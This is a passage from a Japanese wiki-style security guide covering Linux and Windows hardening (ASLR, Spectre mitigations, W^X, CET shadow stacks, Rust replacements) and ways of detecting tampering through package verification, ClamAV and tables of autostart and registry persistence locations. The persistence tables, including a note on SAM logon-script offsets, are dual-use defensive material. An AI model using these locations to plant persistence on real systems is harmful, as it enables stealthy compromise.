kernel.randomize_va_space = 2
&lt;/syntaxhighlight&gt;

また現在のLinuxカーネルがカーネル ASLR (KASLR) を有効にしているかは以下で確認できます (出力例はUbuntu 26.04):
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ grep 'CONFIG_RANDOMIZE_BASE' /boot/config-$(uname -r) # y=Yes, n=No
CONFIG_RANDOMIZE_BASE=y
&lt;/syntaxhighlight&gt;

なお ASLR は間接的な関数呼び出し（ C++ の vtable を含む）があると、そのアドレスから ASLR のオフセットがバレてしまい突破されてしまいます。

また CPU の[[:w:投機的実行|投機的実行]]での情報漏れ (Spectre) による[[:w:キャッシュ攻撃|キャッシュサイドチャネル攻撃]]（後述）の一つである「投機的探査」 (BlindSide) によってもコードの位置情報の取得がされ ASLR が突破されてしまいます。

=== 投機的実行の情報漏れ防止 ===
前述のとおり、投機的実行による情報漏れ (Spectre) は攻撃に繋がります。Spectre には境界チェックを迂回する Spectre V1 と間接分岐の分岐先アドレスのキャッシュ{{efn|分岐先バッファ (Branch Target Buffer、BTB)や分岐先アドレスキャッシュ (Branch Target Address Cache、BTAC) と呼ばれる。}}を汚染する Spectre V2 が存在します。&lt;!--TODO: Spectre v3/v4、Zenbleed--&gt;

Spectre V1 を防ぐ方法としては投機的実行を阻害するための命令（x86ではLFENCE）の挿入{{efn|Linuxカーネルでの投機的実行の防止は&lt;code&gt;barrier_nospec()&lt;/code&gt;。}}やアクセスできるアドレス範囲を狭めることが行われています{{efn|GCCでの投機的実行での範囲外アクセス防止は&lt;code&gt;__builtin_speculation_safe_value(...)&lt;/code&gt;、Linuxカーネルでの投機的実行での範囲外アクセス防止は&lt;code&gt;array_index_nospec(...)&lt;/code&gt;&lt;ref&gt;[https://lwn.net/Articles/759423/ Spectre V1 defense in GCC] LWN 2018年7月10日&lt;/ref&gt;。}}。

また Spectre V2 では攻撃を防ぎながらも速度を落とさない方法として脆弱な分岐先アドレスキャッシュに依存する間接分岐の代わりにリターンアドレスのキャッシュ{{efn|リターンスタックバッファ (RSB) と呼ばれる。}}に依存するリターン命令を使う retpoline が登場しました。しかしながらこの retpoline でも速度の低下は起こるため、既知の間接呼び出しを条件分岐 + 直接呼び出しに変換して高速化する手法が模索されました。LLVM では retpoline を有効にする &lt;code&gt;-mretpoline&lt;/code&gt;フラグの処理内に既知の仮想関数呼び出しを[[:w:二分木|二分木]]の直接分岐に置き換える「分岐ファネル」(Branch funnel) が導入されています&lt;ref&gt;[https://reviews.llvm.org/D42453 Use branch funnels for virtual calls when retpoline mitigation is enabled.] LLVM project&lt;/ref&gt;。また Linux カーネルでも既知の間接呼び出しを条件分岐 + 直接呼び出しに変換する INDIRECT_CALL_* マクロが搭載されています&lt;ref&gt;[https://lwn.net/Articles/774743/ Relief for retpoline pain] LWN 2018年12月14日&lt;/ref&gt;。&lt;!--TODO: Intel CETのSHSTKとretpolineの衝突--&gt;

一方、リターン命令の投機的実行も「Retbleed」や AMD CPU における「投機的リターンスタックオーバーフロー」 (SRSO){{efn|Speculative Return Stack Overflow。}}のような脆弱性が見つかっています。

なお低権限コードから高権限コードへの権限境界をまたいだ Spectre および Retbleed は Intel の「間接分岐制限付き投機」(IBRS){{efn|Indirect Branch Restricted Speculation。}}およびそれを高速化した「拡張IBRS」(eIBRS) などハードウェア側によって塞がれました&lt;ref&gt;[https://www.intel.com/content/www/us/en/developer/articles/technical/software-security-guidance/technical-documentation/hardware-behavior-related-to-speculative-execution.html Hardware Features and Behavior Related to Speculative Execution] Intel 2026年10月14日&lt;/ref&gt;が、権限境界をまたがないものは今も可能となっています。

=== メモリにおける書き込みと実行の排他化 (W^X) ===
メモリでは書き込み可能領域の実行不可化 ([[:w:NXビット|NXビット]]) と実行可能領域の書き込み不可化による書き込みと実行の排他化（[[:w:en:W^X|W^X]]）が一般的となっています。NXビットは x86 では NXビットは AMD64 と共に搭載された古い機能であるため、今時の CPU と OS は基本的にこれに対応しています。

現在の CPU がNXビットを有効にしているかはLinuxでは以下で確認できます:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ grep '^flags' /proc/cpuinfo | grep -o nx
nx
nx
[...]
&lt;/syntaxhighlight&gt;

現在のLinuxカーネルが厳格な W^X を有効にしているかは以下で確認できます (出力例はUbuntu 26.04):
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ grep '_RWX' /boot/config-$(uname -r) # y=Yes, n=No
CONFIG_ARCH_HAS_STRICT_KERNEL_RWX=y
CONFIG_STRICT_KERNEL_RWX=y
CONFIG_ARCH_HAS_STRICT_MODULE_RWX=y
CONFIG_STRICT_MODULE_RWX=y
&lt;/syntaxhighlight&gt;

しかしながら書き込みと実行の排他の原則を破ってそれらを同時に行える場所というものも存在しています。読み込み・書き込み・実行が可能なことから「RWXセクション」と呼ばれています。Windows ではメモリページの PAGE_EXECUTE_READWRITE フラグがこれに相当します&lt;ref&gt;[https://learn.microsoft.com/ja-jp/windows/win32/memory/memory-protection-constants メモリ保護定数] メモリ保護定数 (WinNT.h) - Win32 apps | Microsoft Learn&lt;/ref&gt;。

Windows のカーネルドライバでは NX フラグの使用が義務付けられています&lt;ref&gt;[https://learn.microsoft.com/en-us/windows-hardware/test/hlk/testref/driver-compatibility-with-device-guard メモリ整合性と VBS とのドライバ互換性] Microsoft&lt;/ref&gt;が、その Windows カーネルにおいても PatchGuard の領域がコード難読化のためにこの原則を破っています。&lt;!--TODO: ホットパッチ--&gt;

また Linux でも実行可能領域を書き込み可能ページとして割り当てて書き込む text_poke 関数が用意されています。

=== 制御フローの操作を防ぐ (CET)  ===
現代では「[[:w:Return-oriented programming|リターン指向プログラミング]]」(ROP)、「呼び出し指向プログラミング」 (COP)、「ジャンプ指向プログラミング」(JOP) 、「[[:en:Sigreturn-oriented programming|Sigreturn指向プログラミング]]」(SROP) などの制御フロー操作による攻撃が一般化していますが、これを防ぐ技術として「[[:w:en:Control-flow integrity#Intel Control-flow Enforcement Technology|制御フロー強制テクノロジー]]」(CET) の「[[:w:en:Indirect branch tracking|間接分岐追跡]]」(IBT) と「[[:w:en:Shadow stack|シャドウスタック]]」(SHSTK) が存在します。

制御フロー強制は比較的新しい技術であるため、対応する CPU は以下に限られます:
* Intel Core (Tiger Lake) 第11世代以降
* AMD Zen 3 以降（シャドウスタックのみ）

現在の CPU が間接分岐追跡 (IBT)  およびシャドウスタックに対応しているかはLinuxでは以下で確認できます:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ grep '^flags' /proc/cpuinfo | grep -oE '(ibt|shstk)'
shstk
ibt
shstk
ibt
[...]
&lt;/syntaxhighlight&gt;

またユーザーランドのシャドウスタックの使用にはユーザーランドだけでなくカーネルの対応も必要となります。Linux カーネル では 6.6 以降対応でこれに対応しています（sigreturnにも対応&lt;ref&gt;[https://github.com/torvalds/linux/commit/05e36022c0543ba55a3de55af455b00cb3eb4fcc x86/shstk: Handle signals for shadow stack · torvalds/linux@05e3602] GitHub 2023年8月3日&lt;/ref&gt;）。 Linuxディストリビューションでは Ubuntu 24.04以降、 Red Hat Enterprise Linux 9.7 以降&lt;ref&gt;[https://docs.redhat.com/ja/documentation/red_hat_enterprise_linux/9/html/9.7_release_notes/new-features-kernel 4.8. カーネル - 9.7 リリースノート - Red Hat Enterprise Linux - 9 - Red Hat Documentation] Red Hat&lt;/ref&gt;が標準でシャドウスタックを有効としています。

現在のLinuxカーネルがユーザーランドの間接分岐追跡およびシャドウスタックを有効にしているかは以下で確認できます (出力例はUbuntu 26.04):
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ grep -E '_(IBT|SHADOW_STACK)' /boot/config-$(uname -r) # y=Yes, n=No
CONFIG_CC_HAS_IBT=y
# CONFIG_X86_KERNEL_IBT is not set
CONFIG_X86_USER_SHADOW_STACK=y
CONFIG_X86_DISABLED_FEATURE_IBT=y
CONFIG_ARCH_HAS_USER_SHADOW_STACK=y
&lt;/syntaxhighlight&gt;

現在のユーザーランドプログラムの中で間接分岐追跡またはシャドウスタックが無効化されているものはLinuxでは以下で確認できます:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ # License: CC0 / Public Domain
$ # 間接分岐追跡またはシャドウスタックが無効化されているバイナリを検索
$ find / -type f 2&gt;/dev/null | xargs -I {} sh -c 'readelf -h &quot;{}&quot; &gt;/dev/null 2&gt;&amp;1 &amp;&amp; (readelf -n &quot;{}&quot; 2&gt;/dev/null | grep -E IBT,.*SHSTK &gt; /dev/null || echo &quot;{}&quot;)'
/usr/lib/lv2/carla.lv2/carla.so
/usr/lib/7zip/7z
/usr/lib/7zip/7zCon.sfx
/usr/lib/7zip/7zr
/usr/lib/7zip/7z.so
/usr/lib/7zip/7za
/usr/lib/klibc/bin/ipconfig
/usr/lib/klibc/bin/umount
/usr/lib/klibc/bin/halt
[...]
$ # 間接分岐追跡またはシャドウスタックが無効化されているバイナリを含むDebianパッケージを検索
$ find / -type f 2&gt;/dev/null | xargs -I {} sh -c 'readelf -h &quot;{}&quot; &gt;/dev/null 2&gt;&amp;1 &amp;&amp; (readelf -n &quot;{}&quot; 2&gt;/dev/null | grep -E IBT,.*SHSTK &gt; /dev/null || echo &quot;{}&quot;)' | xargs -r -d '\n' -n1 dpkg-query -S | sed 's/: .*//' | sort -u
7zip
aidl
ardour
avr-libc
cargo-1.93
carla
carla-bridge-wine32:i386
carla-bridge-wine64
carla-lv2
carla-vst
cuda-ctadvisor-13-4
cuda-cudart-13-4
[...]
&lt;/syntaxhighlight&gt;

一方、Linuxカーネルのカーネル側のシャドウスタック対応は2026年現在まだ開発中となっています (x86 Kernel Shadow Stacksパッチシリーズ)&lt;ref&gt;[https://www.phoronix.com/news/Linux-Kernel-Shadow-Stacks x86 Kernel Shadow Stacks Being Worked On For Linux As Powerful Control Flow Protection] Phoronix 2026年10月22日&lt;/ref&gt;。

なお、制御フロー強制テクノロジーの間接分岐追跡とシャドウスタックが有効であっても異なる関数の通常呼び出しは防げません。分かりやすい例では関数の間接呼び出しにおいて関数ポインタを&lt;code&gt;sigaction&lt;/code&gt;へと変更して独自のシグナルハンドラを登録し、その後クラッシュさせてそのシグナルハンドラを呼び出すという「セグメンテーション違反指向プログラミング」(SFOP) が挙げられます。また攻撃に使える関数 (dop gadgets) {{efn|dop gadgetsの検索の公式実装は「DOP-StaticAssist」[https://github.com/melynx/DOP-StaticAssist]だが長らく更新されておらず古いLLVM 3.5に依存している状態となっている。}}の通常呼び出しだけで攻撃する「Data-Oriented Programming」(DOP) &lt;ref&gt;Hong Hu et al. [https://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&amp;arnumber=7546545 Data-Oriented Programming: On the Expressiveness of Non-Control Data Attacks] IEEE 2016年&lt;/ref&gt;{{efn|セキュリティ以外の文脈におけるデータ指向プログラミング、データ指向設計、データ駆動型設計とは異なる。}}という手法も存在します。

C++向けでは仮想関数テーブル (vtable) を改ざんして攻撃に使える仮想関数（仮想関数ガジェット、vfgadget）を呼び出す「偽造オブジェクト指向プログラミング」(COOP) という攻撃手法も登場しています。

=== メモリ安全性の高いソフトウェアへ ===
既存のソフトウェアの脆弱性は7割がメモリ安全性の問題に起因すると言われています&lt;ref&gt;[https://www.cisa.gov/sites/default/files/2023-12/CSAC_TAC_Recommendations-Memory-Safety_Final_20231205_508.pdf REPORT TO THE CISA DIRECTOR Technical Advisory Council Memory Safety] サイバーセキュリティ諮問委員会 (CSAC) 2023年12月5日&lt;/ref&gt;。しかしながら[[C言語]]や[[C++]]はメモリ安全性が低いため、メモリ安全性の確保できる[[Rust]]などで書かれた代替プログラムが登場しています:
{| class=&quot;wikitable&quot;
|+ コマンドのRust版
|-
! コマンドの概要 !! 従来版 !! Rust版
|-
| Unix系の基本コマンド群 || GNU Core Utilities || '''uutils coreutils'''
|-
| ファイル検索コマンド群{{efn|&lt;code&gt;find&lt;/code&gt;、&lt;code&gt;locate&lt;/code&gt;、&lt;code&gt;updatedb&lt;/code&gt;、&lt;code&gt;xargs&lt;/code&gt;の4コマンド}} || GNU Findutils || '''uutils findutils'''
|-
| ファイル差分コマンド群{{efn|&lt;code&gt;diff&lt;/code&gt;、&lt;code&gt;cmp&lt;/code&gt;、&lt;code&gt;diff3&lt;/code&gt;、&lt;code&gt;sdiff&lt;/code&gt;の4コマンド}} || GNU Diffutils || '''uutils diffutils'''
|-
| ストリームエディタ (sed) || GNU sed / FreeBSD sed || '''uutils sed'''
|-
| AWKスクリプト || GNU AWK || '''uutils AWK'''
|-
| 文字列検索 || GNU Grep || '''uutils Grep'''
|-
| tarアーカイブ || GNU Tar || '''uutils tar'''
|-
| アカウント管理コマンド群 || shadow-utils || '''uutils shadow-utils'''
|-
| アクセス制御コマンド群{{efn|&lt;code&gt;chacl&lt;/code&gt;、&lt;code&gt;getfacl&lt;/code&gt;、&lt;code&gt;setfacl&lt;/code&gt;の3コマンド}} || acl || '''uutils acl'''
|-
| procfs{{efn|プロセスファイルシステム}}表示コマンド群 || procps / procps-ng || '''uutils procps'''
|-
| ホスト名管理コマンド群{{efn|&lt;code&gt;hostname&lt;/code&gt;、&lt;code&gt;dnsdomainname&lt;/code&gt;、&lt;code&gt;domainname&lt;/code&gt;、&lt;code&gt;nisdomainname&lt;/code&gt;、&lt;code&gt;ypdomainname&lt;/code&gt;の5コマンド。}} || hostname || '''uutils hostname'''
|-
| Linuxユーティリティ || util-linux || '''uutils util-linux'''
|- 
| 権限昇格 || sudo || '''sudo-rs'''
|-
| 暗号・署名システム || GnuPG || '''Sequoia PGP'''
|-
| 時刻同期 || ntpd || '''ntpd-rs'''
|-
| セキュアシェル (SSH) || OpenSSH || '''russh'''
|}

これらのRustで書かれたコマンドのうちuutils coreutilsとsudo-rsはUbuntuに採用されています。

またライブラリでもRustだけ (Pure Rust) で実装されたものが登場しています:
* 画像ライブラリ - これらは例えばGNOMEデスクトップ環境の画像ローダーGlycinから使われています&lt;ref&gt;[https://gitlab.gnome.org/GNOME/glycin GNOME / glycin · GitLab] GNOME Project&lt;/ref&gt;。
** libpng → pngクレート - PNG画像向け。
** libgif → gifクレート - GIF画像向け。
** libjpeg / libjpeg-turbo → zune-jpeg / libjpeg-turbo-rs - JPEG画像向け。
** OpenJPEG → hayro-jpeg2000 - JPEG 2000画像向け。
** libtiff → tiffクレート - Tiff画像向け
** libwebp → image-webpクレート - WebP画像向け。
** libraw → libopenraw - RAW画像向け。
** librsvg - SVG画像向け。C言語からRustに書き直しされました。
* 圧縮ライブラリ
** zlib / zlib-ng → zlib-rs - Deflate圧縮向け
** libbzip2 → bzip2-rs - BZ2圧縮向け
* 暗号化ライブラリ
** OpenSSL / GnuTLS → [[:w:en:Rustls|Rustls]]
* Unicode処理ライブラリ
** ICU4C → ICU4X
* テキスト整形ライブラリ
** HarfBuzz → HarfRust
* ブラウザエンジン
** Blink/Gecko → Servo

&lt;!--
=== 整合性チェック ===
PatchGuard / HyperGuard
--&gt;

== 不審な改変が行われていないかを調べる ==
例えばOSの起動には一連のシーケンスがありますが、マルウェアは基本的にここの途中に入り込んで永続化します。

{| class=&quot;wikitable&quot;
|+ 起動シーケンス
|-
! 種類 || Windows 11以降 !! Linux (Gnome) !! Linux (KDE)
|-
| 1. 起動ファームウェア || [[:w:Unified Extensible Firmware Interface|UEFI]] || colspan=2 | [[:w:Basic Input/Output System|レガシーBIOS]] / UEFI
|-
| 2. ブートローダー || [[:w:Windows Boot Manager|Windows Boot Manager]] (bootmgfw.efi)&lt;br&gt; → [[:w:Windows Boot Manager#winload.exe/winload.efi|Windows OS Loader]] (winload.efi) || colspan=2 | GRUB{{efn|Ubuntuの標準。}} / systemd-boot / Unified Kernel Image{{efn|Linuxカーネルとブートイメージを単一バイナリにする仕組み。}} / EFI boot stub{{efn|LinuxカーネルをEFIから直接ブートできるようにする仕組み。}}
|-
| 3. カーネル || [[:w:ntoskrnl.exe|ntoskrnl.exe]] || colspan=2 | Linuxカーネル ([[:w:vmlinux|vmlinux]]{{efn|圧縮後はvmlinuzとなる。}})
|-
| 4. 初期化プロセス || [[:w:en:Session Manager Subsystem|smss.exe]]&lt;br&gt; → wininit.exe&lt;br&gt; || rowspan=2 colspan=2 | [[:w:systemd|systemd]]{{efn|以前は代替initもよく使われていたが、今はsystemdが標準となっている。}}
|-
| 5. サービスコントロールマネージャ || colspan=2 | [[:w:en:Service Control Manager|services.exe]]
|-
| rowspan=2 | 6. ログインマネージャ || rowspan=2 | [[:w:Winlogon|winlogon.exe]] || colspan=2 | systemd-logind&lt;br&gt;sd-pam
|-
| [[:w:GNOME ディスプレイマネージャー|GDM]] || [[:w:Simple Desktop Display Manager|SDDM]]
|-
| rowspan=2 | 7. ユーザー初期化プロセス || rowspan=2 | userinit.exe || colspan=2 | systemd
|-
| gnome-session || kcminit&lt;br&gt; → plasma_session
|-
| 8. シェル || [[:w:Windows Explorer|explorer.exe]] || gnome-shell || plasmashell
|-
| 9. コンポジタ || [[:w:Desktop Window Manager|dwm.exe]] || mutter || kwin
|}

また起動シーケンス以外にもアップデートシーケンスへの感染やシェル感染、ブラウザ感染もあります。

{| class=&quot;wikitable&quot;
|+ Windows における代表的なユーザースクリプト又はコマンド起動が可能な設定ファイル
|-
! 規格/アプリケーション !! ユーザー !! システム
|-
| Windows || %APPDATA%\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Windows\&lt;wbr&gt;Start Menu\&lt;wbr&gt;Programs\&lt;wbr&gt;Startup\&lt;wbr&gt;* || C:\&lt;wbr&gt;ProgramData\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Windows\&lt;wbr&gt;Start Menu\&lt;wbr&gt;Programs\&lt;wbr&gt;Startup\&lt;wbr&gt;*
|-
| [[:w:PowerShell|PowerShell]] プロファイル&lt;ref&gt;[https://learn.microsoft.com/ja-jp/powershell/module/microsoft.powershell.core/about/about_profiles?view=powershell-7.6 about_Profiles - PowerShell - Microsoft Learn] Microsoft&lt;/ref&gt; || %USERPROFILE%\&lt;wbr&gt;Documents\&lt;wbr&gt;PowerShell\&lt;wbr&gt;Profile.ps1&lt;br&gt;%USERPROFILE%\&lt;wbr&gt;Documents\&lt;wbr&gt;PowerShell\&lt;wbr&gt;Microsoft.PowerShell_profile.ps1 || C:\&lt;wbr&gt;Windows\&lt;wbr&gt;System32\&lt;wbr&gt;WindowsPowerShell\&lt;wbr&gt;*\&lt;wbr&gt;Profile.ps1&lt;br&gt;C:\&lt;wbr&gt;Windows\&lt;wbr&gt;System32\&lt;wbr&gt;WindowsPowerShell\&lt;wbr&gt;*\&lt;wbr&gt;Microsoft.PowerShell_profile.ps1
|}

{| class=&quot;wikitable&quot;
|+ Linux における代表的なユーザースクリプト又はコマンド起動が可能な設定ファイル
|-
! 規格/アプリケーション !! ユーザー !! システム
|-
| POSIX標準 || ~/.profile || /etc/profile
|-
| XDG Base Directory&lt;wbr&gt;標準 || ~/.local/bin/* ||
|-
| FHS{{efn|Filesystem Hierarchy Standard}}&lt;wbr&gt;標準[https://refspecs.linuxfoundation.org/fhs.shtml] || || /bin/* /sbin/* /usr/bin/* /usr/local/bin/* /etc/inittab
|-
| LSB{{efn|Linux Standard Base}}&lt;wbr&gt;標準[https://refspecs.linuxfoundation.org/lsb.shtml] || || /etc/profile.d/* /etc/init.d/* /etc/cron.d/*
|-
| Desktop Application Autostart Specification&lt;wbr&gt;標準[https://specifications.freedesktop.org/autostart/latest/]{{efn|systemd-xdg-autostart-generator が導入されているシステムではこれらがsystemd設定に自動変換される。}} || ~/.config/autostart/* || /etc/xdg/autostart/*
|-
| Bash || ~/.bash_profile ~/.bashrc || /etc/bash_profile /etc/bash.bashrc /etc/bash.bash_logout
|-
| Z shell (Zsh) || ~/.zshenv ~/.zprofile ~/.zshrc ~/.zlogin ~/.zlogout || /etc/zshenv /etc/zprofile /etc/zshrc /etc/zlogin /etc/zlogout&lt;br/&gt;（または /etc/zsh/zshenv /etc/zsh/zprofile /etc/zsh/zshrc /etc/zsh/zlogin /etc/zsh/zlogout）
|-
| Systemd || ~/.config/systemd/user/* || /etc/systemd/system/* /etc/systemd/user/*
|-
| Xorg || ~/.xinitrc ~/.xserverrc ~/.xsession || /etc/X11/xinit/xinitrc /etc/X11/xinit/xserverrc /etc/X11/Xsession /usr/share/xsessions/*
|-
| Wayland ||  || /usr/share/wayland-sessions/*
|-
| Python || ~/.local/lib/python*/site-packages/*/**{{efn|絶対パスは&lt;code&gt;python3 -c 'import site; print(site.getusersitepackages())'&lt;/code&gt;で確認可能。}} || /usr/lib/python*/dist-packages/*/** /usr/local/lib/python*/dist-packages/*/**{{efn|絶対パスは&lt;code&gt;python3 -c 'import site; print(site.getsitepackages())'&lt;/code&gt;で確認可能。}}
|-
| Perl{{efn|Debian/UbuntuではDebianパッケージ設定システム (debconf) のためにPerlを使用している。}} || || /usr/share/perl*/**  /usr/local/share/perl*/** /usr/lib/*/perl*/** /usr/local/lib/*/perl*/**{{efn|絶対パスは&lt;code&gt;perl -V:installsitearch -V:installsitelib -V:installvendorarch -V:installvendorlib -V:archlib -V:privlib -V:installarchlib -V:installprivlib&lt;/code&gt;で確認可能。}}
|}

=== パッケージ管理ファイルを検証する ===
パッケージ管理システムが管理しているファイルではファイルハッシュが保存されているため簡単にその検証を行うことが可能です:
{| class=&quot;wikitable&quot;
|-
! OS / パッケージシステム !! 検証のみ !! 修復
|-
| Windows || &lt;code&gt;sfc&amp;nbsp;/verifyonly&lt;/code&gt; || &lt;code&gt;sfc&amp;nbsp;/scannow&lt;/code&gt;
|-
| Debパッケージ (Debian / Ubuntu) || &lt;code&gt;debsums -s&lt;/code&gt; || &lt;code&gt;apt install --reinstall $(debsums -cs &amp;verbar; xargs -r dpkg-query -S &amp;verbar; cut -d: -f1 &amp;verbar; sort -u)&lt;/code&gt;
|-
| RPMパッケージ (RedHat / Fedora) || &lt;code&gt;rpm -Va&lt;/code&gt; || 
|}

ただしローカルハッシュが改ざんされている可能性もあるため過信はできません。&lt;!--TODO: ローカルハッシュの検証法--&gt;

自動的にシステムの検証を行うシステムも存在します:
* Android - ブロックデバイスレベルでのハッシュ検証 (dm-verityベース)&lt;ref&gt;[https://source.android.com/docs/security/features/verifiedboot/dm-verity?hl=ja dm-verity の実装] Google&lt;/ref&gt;

&lt;!--
またUbuntuのSnapパッケージでもdm-verityの導入が進められています。

また特定言語のパッケージの検証は以下で可能です:
* PIP (Python): なし
--&gt;

=== システム領域に不審なファイルが追加されていないかを調べる ===
システムの追加ファイルの検知にはパッケージシステムで管理されていないファイルの一覧を返す以下のようなツールが存在します:
* Debian / Ubuntu（Debパッケージ）向け: cruft-ngパッケージ（&lt;code&gt;cruft&lt;/code&gt;コマンド）

上記の&lt;code&gt;cruft&lt;/code&gt;コマンドでは設定ファイルだけ残っているパッケージのファイルも出てきてしまいます。そのため、これが邪魔な時は設定ファイルだけ残っているパッケージを&lt;code&gt;sudo apt purge '~c'&lt;/code&gt;で削除しましょう。

またaptレポジトリに無いインストールされたパッケージは&lt;code&gt;apt list '?obsolete'&lt;/code&gt;で、手動 (manual) でインストールされたパッケージは&lt;code&gt;apt-mark showmanual&lt;/code&gt;で確認できます。これらのコマンドを実行してインストールした覚えないパッケージが入ってないかをチェックしましょう。GUI が使えるのであれば&lt;code&gt;synaptic&lt;/code&gt;を起動して「インストール済（ローカルまたは廃止）」と「インストール済（手動）」を確認するのもオススメです。

=== ユーザー領域に不審なファイルが追加されていないかを調べる ===
ユーザースクリプトの書き換えや追加は検知が難しいです。&lt;!--TODO: 良い方法を書く--&gt;

共有ライブラリやスクリプトによるプラグイン追加も可能となっているため、こちらにも気をつけなければいけません。これには例えば以下があります:
{| class=&quot;wikitable&quot;
|+ 代表的なユーザースクリプトや拡張機能のディレクトリパス
|-
! 種類 !! Windowsのパス !! macOSのパス !! Linuxのパス
|-
| Google Chrome 拡張機能 || %LOCALAPPDATA%\Google\Chrome\User Data\*\Extensions\ || ~/Library/Application Support/Google/Chrome/*/Extensions/ || ~/.config/google-chrome/*/Extensions/
|-
| GIMPプラグイン&lt;ref&gt;[https://gimp.cc/faq/add-gimp-plugins.html How to Install GIMP Plugins - Detailed Guide with Troubleshooting] GIMP.cc&lt;/ref&gt; || %APPDATA%\GIMP\*\plug-ins\ || ~/Library/Application Support/GIMP/*/plug-ins/ || ~/.config/GIMP/*/plug-ins/
|-
| Blenderスクリプト{{efn|起動スクリプト、アドオンを含む。}}&lt;ref&gt;[https://docs.blender.org/manual/ja/dev/advanced/blender_directory_layout.html  Blender&amp;#39;s Directory Layout] Blender Foundation&lt;/ref&gt; || %APPDATA%\Blender Foundation\Blender\*\scripts\ || ~/Library/Application Support/Blender/*/scripts/ || ~/.config/blender/*/scripts/
|-
| Ardourスクリプト&lt;ref&gt;[https://manual.ardour.org/lua-scripting/ The Ardour Manual - Lua Scripting] Ardour&lt;/ref&gt; || %LOCALAPPDATA%\ardour*\scripts\ || ~/Library/Preferences/Ardour*/scripts/ || ~/.config/ardour*/scripts/
|-
| LibreOfficeスクリプト || %APPDATA%\LibreOffice\*\user\Scripts\ || ~/Library/Application Support/LibreOffice/*/user/Scripts/ || ~/.config/libreoffice/*/user/Scripts/
|-
| Visual Studio Code 拡張機能&lt;ref&gt;[https://code.visualstudio.com/docs/configure/extensions/extension-marketplace Extension Marketplace] Microsoft&lt;/ref&gt; || %USERPROFILE%\.vscode\extensions\ || ~/.vscode/extensions/ || ~/.vscode/extensions/
|}

=== 改変・追加されたファイルが危険かを調べる ===
実行ファイルやスクリプトはLinuxでは以下で検出できます:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
# cat filelist.txt | xargs file | grep -i -E ':.*(executable|shared object|relocatable|script)'
/etc/init.d/binfmt-support.dpkg-new:                                                                                                    POSIX shell script, ASCII text executable
/etc/update-motd.d/99-livepatch-kernel-upgrade-required:                                                                                POSIX shell script, ASCII text executable
/usr/lib/chromium-browser/plugins/libpepflashplayer.so:                                                                                 ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=5c421e89a5c062a2106a5a4381dc38e779a22795, stripped
&lt;/syntaxhighlight&gt;

またClamAVを導入していれば以下でマルウェアデータベースとの照合を行うことができます:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
# cat filelist.txt | xargs clamscan
Loading:     3s, ETA:   0s [========================&gt;]    3.63M/3.63M sigs
Compiling:   1s, ETA:   0s [========================&gt;]       41/41 tasks

/etc/apt/apt.conf.d/00trustcdrom: OK
/etc/apt/auth.conf.d/90ubuntu-advantage: OK
/etc/apt/keyrings/google.asc: OK
[...]

----------- SCAN SUMMARY -----------
Known viruses: 3628164
Engine version: 1.5.4
Scanned directories: 125
Scanned files: 1919
Infected files: 0
Total errors: 10
Data scanned: 247.72 MiB
Data read: 281.17 MiB (ratio 0.88:1)
Time: 17.939 sec (0 m 17 s)
Start Date: 2026:10:11 05:41:30
End Date:   2026:10:11 05:41:48
&lt;/syntaxhighlight&gt;

=== 設定データベースを検証する ===
設定データベースは Windows ではレジストリ、Linuxでは GNOME / MATEの 使う [[:en:dconf|dconf]] が存在します。

Windows の設定データベースはレジストリと呼び「レジストリエディタ」 (&lt;code&gt;regedit&lt;/code&gt;) で表示できます。
{| class=&quot;wikitable&quot;
|+ Windows における代表的なユーザースクリプト、コマンド起動、DLL呼び出しが可能なレジストリ
|-
! 規格/アプリケーション !! 各ユーザー !! 全ユーザー
|-
| Windows || HKEY_USERS\&lt;wbr&gt;*\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Windows\&lt;wbr&gt;CurrentVersion\&lt;wbr&gt;Run\&lt;wbr&gt;*&lt;wbr&gt;CurrentVersion\&lt;wbr&gt;Run\&lt;wbr&gt;*&lt;br&gt;HKEY_USERS\&lt;wbr&gt;*\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Windows\&lt;wbr&gt;CurrentVersion\&lt;wbr&gt;RunOnce\&lt;wbr&gt;*{{efn|name=&quot;runonce&quot;|RunOnceは一度のみ実行だが再登録することで何回でも実行可能。}} || HKEY_LOCAL_MACHINE\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Windows\&lt;wbr&gt;CurrentVersion\&lt;wbr&gt;Run\&lt;wbr&gt;*&lt;br&gt;HKEY_LOCAL_MACHINE\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Windows\&lt;wbr&gt;CurrentVersion\&lt;wbr&gt;RunOnce\&lt;wbr&gt;*{{efn|name=&quot;runonce&quot;}}
|-
| [[:w:en:Security Account Manager|Security Account Manager]] || || HKEY_LOCAL_MACHINE\&lt;wbr&gt;SAM\&lt;wbr&gt;SAM\&lt;wbr&gt;Domains\&lt;wbr&gt;Account\&lt;wbr&gt;Users\&lt;wbr&gt;*\&lt;wbr&gt;V{{efn|name=&quot;sam&quot;|'HKEY_LOCAL_MACHINE\SAM\SAM\' 以下はレジストリエディタの右クリックの「アクセス許可」で Administrators にアクセス許可を与えないと読めない。なおファイルパスは「C:\Windows\System32\config\SAM」。}}{{efn|Vはバイナリであり、0xCC + (0x60 に指定されたオフセット) からユーザーログオンスクリプトパスを指定する&lt;ref name=&quot;sam-ghost&quot;&gt;Sebastián R. Castro et al. [https://dl.acm.org/doi/pdf/10.1145/3689934.3690839 Ghost in the SAM: Stealthy, Robust, and Privileged Persistence through Invisible Accounts]  ACM 2024年&lt;/ref&gt;。}}
|-
